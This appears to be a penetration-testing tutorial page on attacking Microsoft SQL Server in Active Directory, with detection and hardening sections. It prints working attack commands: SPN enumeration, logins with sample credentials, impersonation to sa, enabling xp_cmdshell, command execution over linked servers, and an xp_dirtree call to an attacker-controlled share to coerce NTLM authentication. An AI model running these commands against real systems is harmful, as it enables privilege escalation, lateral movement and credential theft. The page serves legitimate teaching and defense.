Skip to content
Pwnversity
AD-MSSQLadvanced · 8 min · upd. 2026-11

Attacking MSSQL in Active Directory

T1210T1078T1505.001T1557.001

Microsoft SQL Server is integrated into Active Directory: it authenticates with domain accounts, runs under service accounts (often with juicy privileges), and its servers link to each other via linked servers that trust one another. For an attacker, an MSSQL is three things at once: a path to command execution on the host (via xp_cmdshell), a source of credentials/impersonation (service accounts, EXECUTE AS), and a lateral-movement bridge through the links. Many paths to DA go through a misconfigured SQL Server. The broken invariant is accumulated trust: domain logins with SQL access, service accounts with SeImpersonatePrivilege on the host, and links configured with high-privilege credentials.

flowchart LR
    L["low-priv<br/>domain login"] -->|"EXECUTE AS / enum_impersonate"| S["sysadmin on SQL1"]
    S -->|"xp_cmdshell"| C["cmd as the service account"]
    C -->|"SeImpersonate + Potato"| SYS["SYSTEM on the host"]
    S -->|"linked server"| S2["SQL2 (another host)"]
  • Who attacks: a low-privilege SQL login (a domain account with access, or a weak sa), or someone on the network who can reach port 1433.
  • What it breaks: poorly scoped trust. An ordinary account can, by chaining impersonation and links, end up as sysadmin or SYSTEM on another server.
  • What it gains: execution on the SQL host (→ SYSTEM via SeImpersonate), theft of the service account’s credentials, lateral movement via links to other SQL servers, and hash coercion toward relay.
  • Why it’s a springboard: SQL is usually the most accessible service on the network, and its service account almost always has SeImpersonatePrivilege, which reliably leads to SYSTEM.
  • Execution: xp_cmdshell runs system commands as the SQL service account. Alternatives if it’s disabled: sp_OACreate (OLE automation), CLR assemblies, Agent jobs.
  • Impersonation: EXECUTE AS LOGIN/EXECUTE AS USER assumes another identity inside SQL. A poorly granted IMPERSONATE escalates a normal login to sa.
  • Linked servers: a link configured with privileged credentials lets you run queries (and commands) on the remote SQL, chainable: SQL1 → SQL2 → SQL3.

The SQL service account usually has SeImpersonatePrivilege. With xp_cmdshell you execute as that account; with the privilege, a Potato attack takes it to SYSTEM (see privilege and token abuse). It’s the most common host → SYSTEM jump from a SQL.

SQL registers an MSSQLSvc/... SPN, so its service account is kerberoastable: if the password is weak, it cracks offline without touching the SQL (Kerberos).

Vector Requirement Result
xp_cmdshell sysadmin (direct or via impersonation) Command as the service account → SYSTEM
EXECUTE AS IMPERSONATE permission Escalate to sa/sysadmin
Linked server link with privileged credentials Execution on the remote SQL (lateral)
xp_dirtree/xp_subdirs any login Coercion: service account’s Net-NTLM
Kerberoasting MSSQLSvc SPN Service account’s hash (offline crack)
Ventana de terminal
# locate SQL SPNs in the domain
GetUserSPNs.py corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10 | grep MSSQL
# test access with domain credentials
nxc mssql sql01.corp.local -u jdoe -p 'Passw0rd!'
mssqlclient.py corp.local/jdoe:'Passw0rd!'@sql01.corp.local -windows-auth
# inside the shell:
SELECT SYSTEM_USER; -- who am I
enum_logins -- logins and their roles
enum_impersonate -- who I can EXECUTE AS
enum_links -- configured linked servers

mssqlclient.py’s built-in commands are exactly these: enum_logins, enum_impersonate, enum_links, enum_users, enum_db, enum_owner, exec_as_login, exec_as_user, use_link, enable_xp_cmdshell, xp_cmdshell, xp_dirtree, sp_start_job, upload, download.

exec_as_login sa -- if you have IMPERSONATE over sa
-- chain: user -> exec_as_login dbo -> exec_as_login sa -> sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin'); -- confirm

As sysadmin (direct or via impersonation), enable and use xp_cmdshell:

enable_xp_cmdshell
xp_cmdshell whoami -- runs as the SQL service account

From there to SYSTEM with Potato if the account has SeImpersonatePrivilege (see tokens). Without xp_cmdshell: sp_OACreate, CLR assemblies or the Agent’s sp_start_job.

enum_links
use_link SQL02-SRV -- switches context to the link
-- or directly:
EXEC ('SELECT SYSTEM_USER; EXEC xp_cmdshell ''whoami''') AT [SQL02-SRV];

Links chain (SQL1 → SQL2 → SQL3), escalating privilege at each hop if the remote link runs under a more privileged account. Tools like MSSqlPwner automate recursive enumeration of links and impersonations and find the shortest execution chain.

xp_dirtree \\10.10.10.50\share -- forces the service account to authenticate

Capture or relay the SQL service account’s Net-NTLM (see LLMNR and NTLM relay).

  1. Locate SQL by SPN; test access with domain credentials.
  2. enum_impersonate / enum_links: can I become sysadmin? Are there links?
  3. If sysadmin: xp_cmdshell → service account → SYSTEM (Potato).
  4. If there are links: chain them toward a more privileged SQL.
  5. If not: xp_dirtree for coercion, or kerberoast the service account.
  • mssqlclient.py (Impacket): client with built-in enum/impersonate/links.
  • NetExec (nxc) mssql: access, spray, execution and bulk queries.
  • MSSqlPwner: automated recursive enumeration and link/impersonation chains.
  • mssql-spider / MSSQLand / SQLRecon: alternatives (link crawling, use from a beacon).
  • PowerUpSQL: discovery, auditing and exploitation from Windows.

A compromised SQL is often the direct springboard to the rest of the domain: execution → SYSTEM on the host, service account credentials, lateral via links, and coercion toward relay. Many “SQLi → SYSTEM → domain” internal-pentest chains go through here.

  • sqlservr.exe launching cmd.exe/powershell.exe (Sysmon 1): enabling and using xp_cmdshell.
  • xp_dirtree/xp_subdirs toward external UNC paths (coercion) and outbound authentications from the SQL service account.
  • Anomalous EXECUTE AS, unexpected AT [link] queries, unusual domain logins on SQL.
  • Enabling sp_configure 'xp_cmdshell' and OLE automation.
  • SQL Server auditing (login auditing, xp_cmdshell and sp_configure events).
  • Sysmon on the SQL host (child processes of sqlservr.exe).
  • Detection of outbound NTLM authentications from the service account.
  • Disable xp_cmdshell, sp_OACreate/OLE automation; restrict CLR.
  • Least privilege on the service account: remove SeImpersonatePrivilege if not needed; use gMSA (managed password, not practically kerberoastable).
  • Review linked servers: don’t configure them with privileged credentials; use the user’s context, not sa.
  • Audit IMPERSONATE and CONTROL SERVER permissions; don’t put domain accounts in sysadmin needlessly.
  • Strong/random password for the service account (stops kerberoasting) and SMB signing (stops coercion → relay).

Disable xp_cmdshell, rotate the SQL service account’s password, review links and impersonation permissions, and hunt for persistence left from SQL (Agent jobs, CLR assemblies, triggers).

  • Most are configuration abuses, not CVEs (MITRE T1210, T1078, T1505.001).
  • PowerUpSQL (Scott Sutherland / NetSPI) extensively documented impersonation and linked-server chains; Improsec (“The dangers of MSSQL features”) showed the SQLi → domain path.
  • SQL → SYSTEM → domain chains routinely appear in internal-pentest reports and in intrusions where SQL was the most accessible service.
  • Locate SQL by SPN (MSSQLSvc) and test access with domain credentials.
  • Am I sysadmin? Can I become it via impersonation? (enum_impersonate).
  • xp_cmdshell enablable → execution as the service account.
  • Does the service account have SeImpersonatePrivilege? → SYSTEM (Potato).
  • Chainable linked servers (enum_links) → lateral.
  • xp_dirtree for coercion → capture/relay of Net-NTLM.
  • Kerberoasting of the SQL service account.
  • Blue: xp_cmdshell disabled and gMSA in use?